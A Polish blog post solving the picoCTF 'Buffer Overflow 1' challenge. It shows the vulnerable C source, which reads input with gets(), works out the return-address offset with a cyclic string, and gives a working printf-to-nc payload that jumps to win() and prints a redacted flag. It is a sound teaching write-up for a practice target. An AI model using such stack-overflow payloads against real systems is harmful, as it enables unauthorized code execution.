poniedziałek, 6 stycznia 2025

PicoCTF - Buffer Overflow 1

W tym poście chciałbym opisać rozwiązania zadania Buffer Overflow z picoCTF. 


Zadanie polega na przepełnieniu bufora w celu odczytania flagi. 

Działanie programu jest następujące: 

  1. -picoctf@webshell:~$ nc saturn.picoctf.net <port>
  2. Please enter your string:
  3. testiunout
  4. Okay, time to return... Fingers Crossed... Jumping to 0x804932f

Jak można zaobserwować powyżej po wpisaniu danych wejściowych wyświetlany jest jakiś adres.

Przejdę teraz do kodu dostarczonego razem  a zadaniem.

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5. #include <sys/types.h>
  6. #include "asm.h"
  7.  
  8. #define BUFSIZE 32
  9. #define FLAGSIZE 64
  10.  
  11. void win() {
  12.   char buf[FLAGSIZE];
  13.   FILE *f = fopen("flag.txt","r");
  14.   if (f == NULL) {
  15.     printf("%s %s", "Please create 'flag.txt' in this directory with your",
  16.                     "own debugging flag.\n");
  17.     exit(0);
  18.   }
  19.  
  20.   fgets(buf,FLAGSIZE,f);
  21.   printf(buf);
  22. }
  23.  
  24. void vuln(){
  25.   char buf[BUFSIZE];
  26.   gets(buf);
  27.  
  28.   printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
  29. }
  30.  
  31. int main(int argc, char **argv){
  32.  
  33.   setvbuf(stdout, NULL, _IONBF, 0);
  34.  
  35.   gid_t gid = getegid();
  36.   setresgid(gid, gid, gid);
  37.  
  38.   puts("Please enter your string: ");
  39.   vuln();
  40.   return 0;
  41. }

Odebranie wpisanego tekstu, następuje w funkcji vuln(). Dane są odbierane przez funckję gets, która wprowadza dane do bufora 32 elementowego. Jeśli przekroczymy ten buffor o odpowiednio dużo ilość znaków. Dzięki niemu będzie można wywołać funkcję win(). Ale żeby to zrobić to potrzebny jest adres funkcji win(). Można go odczytać wykorzystując np. program Cutter:


Czy jakiegoś narzędzia online:


Po określeniu adresu należy określić offset jaki musi poprzedzić adres funckji win w celu jej wywołania. 

Na samym początku wprowadzę taki zestaw znaków:

  1. abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789

Wygenerowana odpowiedź:

  1. -picoctf@webshell:~$  nc saturn.picoctf.net 53923
  2. Please enter your string:
  3. abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
  4. Okay, time to return... Fingers Crossed... Jumping to 0x56555453

Czyli otrzymana odpowiedź różni się od wcześniejszej, gdy buffor był nie przepełniony. Wartość 0x56555453 odpowieada części wprowadzonych znaków w stringu. W celu konwersji należy wykorzystać tablice ASCII. 

0x56 - V
0x55 - U
0x54 - T
0x53 - S

Oznacza to, że należy offset przed adresem musi być następujący:

  1. abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQR

Dodatkowo należy zwrócić uwagę, że kolejność bajtów jest odwrócona czyli adres wprowadzony do stringa musi być od F6910408. Cały string ma następujący format:

  1. abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQR\xf6\x91\x04\x08

W celu wprowadzenia ciągu w odpowiednim formacie należy zastosować następujące sposób wprowadzenia danych:

  1. -picoctf@webshell:~$ printf "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQR\xf6\x91\x04\x08\n" | nc saturn.picoctf.net 63832
  2. Please enter your string:
  3. Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
  4. picoCTF{xxxxxxxxx_xxx_xxxx_xxxxxxxx}
  5. -picoctf@webshell:~$

Bezpośrednie wpisanie danych w aplikacji nie przyniesie rezultatów, ponieważ dane nie będą rozpatrywane w odpowiedniej formie.